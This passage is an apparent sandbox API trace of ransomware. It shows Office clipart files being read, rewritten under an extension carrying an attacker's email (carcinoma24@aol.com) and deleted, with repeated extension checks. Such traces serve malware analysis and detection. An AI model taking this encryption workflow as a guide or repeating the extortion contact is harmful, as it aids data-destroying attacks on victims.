dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.038] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2232) returned 1 [0301.038] CloseHandle (hObject=0x368) returned 1 [0301.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0301.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.039] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.039] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.039] GetLastError () returned 0x0 [0301.040] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x8b8, lpOverlapped=0x0) returned 1 [0301.040] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8c0, lpOverlapped=0x0) returned 1 [0301.041] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.041] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.041] SetEndOfFile (hFile=0x350) returned 1 [0301.041] CloseHandle (hObject=0x350) returned 1 [0301.041] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.041] SetEndOfFile (hFile=0x368) returned 1 [0301.042] CloseHandle (hObject=0x368) returned 1 [0301.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0301.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.043] lstrlenW (lpString=".doc") returned 4 [0301.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString=".docx") returned 5 [0301.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.043] lstrlenW (lpString=".pdf") returned 4 [0301.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString=".xls") returned 4 [0301.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.043] lstrlenW (lpString=".xlsx") returned 5 [0301.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.043] lstrlenW (lpString=".ppt") returned 4 [0301.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.043] lstrlenW (lpString=".zip") returned 4 [0301.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.043] lstrlenW (lpString=".rar") returned 4 [0301.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString=".bz2") returned 4 [0301.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString=".7z") returned 3 [0301.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.043] lstrlenW (lpString=".dbf") returned 4 [0301.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".1cd") returned 4 [0301.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".jpg") returned 4 [0301.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".doc") returned 4 [0301.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".docx") returned 5 [0301.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.044] lstrlenW (lpString=".pdf") returned 4 [0301.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".xls") returned 4 [0301.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.044] lstrlenW (lpString=".xlsx") returned 5 [0301.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.044] lstrlenW (lpString=".ppt") returned 4 [0301.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".zip") returned 4 [0301.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.044] lstrlenW (lpString=".rar") returned 4 [0301.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".bz2") returned 4 [0301.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString=".7z") returned 3 [0301.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".dbf") returned 4 [0301.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.044] lstrlenW (lpString=".1cd") returned 4 [0301.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0301.045] lstrlenW (lpString=".jpg") returned 4 [0301.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.045] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.045] lstrlenW (lpString="DD01173_.WMF") returned 12 [0301.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.045] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1804) returned 1 [0301.045] CloseHandle (hObject=0x368) returned 1 [0301.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0301.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.046] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.046] GetLastError () returned 0x0 [0301.046] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x70c, lpOverlapped=0x0) returned 1 [0301.047] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x710, lpOverlapped=0x0) returned 1 [0301.181] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.181] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.181] SetEndOfFile (hFile=0x350) returned 1 [0301.181] CloseHandle (hObject=0x350) returned 1 [0301.181] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.181] SetEndOfFile (hFile=0x368) returned 1 [0301.182] CloseHandle (hObject=0x368) returned 1 [0301.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString=".doc") returned 4 [0301.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString=".docx") returned 5 [0301.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.183] lstrlenW (lpString=".pdf") returned 4 [0301.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString=".xls") returned 4 [0301.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.183] lstrlenW (lpString=".xlsx") returned 5 [0301.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.183] lstrlenW (lpString=".ppt") returned 4 [0301.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString=".zip") returned 4 [0301.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.183] lstrlenW (lpString=".rar") returned 4 [0301.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString=".bz2") returned 4 [0301.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString=".7z") returned 3 [0301.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString=".dbf") returned 4 [0301.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString=".1cd") returned 4 [0301.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.183] lstrlenW (lpString=".jpg") returned 4 [0301.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString=".doc") returned 4 [0301.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString=".docx") returned 5 [0301.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.184] lstrlenW (lpString=".pdf") returned 4 [0301.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString=".xls") returned 4 [0301.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.184] lstrlenW (lpString=".xlsx") returned 5 [0301.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.184] lstrlenW (lpString=".ppt") returned 4 [0301.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString=".zip") returned 4 [0301.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.184] lstrlenW (lpString=".rar") returned 4 [0301.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString=".bz2") returned 4 [0301.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString=".7z") returned 3 [0301.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString=".dbf") returned 4 [0301.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString=".1cd") returned 4 [0301.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0301.184] lstrlenW (lpString=".jpg") returned 4 [0301.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.185] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.185] lstrlenW (lpString="DD01176_.WMF") returned 12 [0301.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.185] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1888) returned 1 [0301.185] CloseHandle (hObject=0x368) returned 1 [0301.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0301.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.186] GetLastError () returned 0x0 [0301.186] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x760, lpOverlapped=0x0) returned 1 [0301.186] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x770, lpOverlapped=0x0) returned 1 [0301.187] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.187] WriteFile (in: hFile=0x350, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0301.187] SetEndOfFile (hFile=0x350) returned 1 [0301.187] CloseHandle (hObject=0x350) returned 1 [0301.188] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.188] SetEndOfFile (hFile=0x368) returned 1 [0301.188] CloseHandle (hObject=0x368) returned 1 [0301.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0301.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.189] lstrlenW (lpString=".doc") returned 4 [0301.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.189] lstrlenW (lpString=".docx") returned 5 [0301.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.189] lstrlenW (lpString=".pdf") returned 4 [0301.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.189] lstrlenW (lpString=".xls") returned 4 [0301.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.189] lstrlenW (lpString=".xlsx") returned 5 [0301.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.189] lstrlenW (lpString=".ppt") returned 4 [0301.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.189] lstrlenW (lpString=".zip") returned 4 [0301.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.189] lstrlenW (lpString=".rar") returned 4 [0301.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.189] lstrlenW (lpString=".bz2") returned 4 [0301.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.189] lstrlenW (lpString=".7z") returned 3 [0301.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString=".dbf") returned 4 [0301.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString=".1cd") returned 4 [0301.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString=".jpg") returned 4 [0301.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString=".doc") returned 4 [0301.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString=".docx") returned 5 [0301.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.190] lstrlenW (lpString=".pdf") returned 4 [0301.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString=".xls") returned 4 [0301.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.190] lstrlenW (lpString=".xlsx") returned 5 [0301.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.190] lstrlenW (lpString=".ppt") returned 4 [0301.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.190] lstrlenW (lpString=".zip") returned 4 [0301.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.190] lstrlenW (lpString=".rar") returned 4 [0301.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString=".bz2") returned 4 [0301.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.190] lstrlenW (lpString=".7z") returned 3 [0301.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.191] lstrlenW (lpString=".dbf") returned 4 [0301.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.191] lstrlenW (lpString=".1cd") returned 4 [0301.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0301.191] lstrlenW (lpString=".jpg") returned 4 [0301.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.191] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.191] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.192] 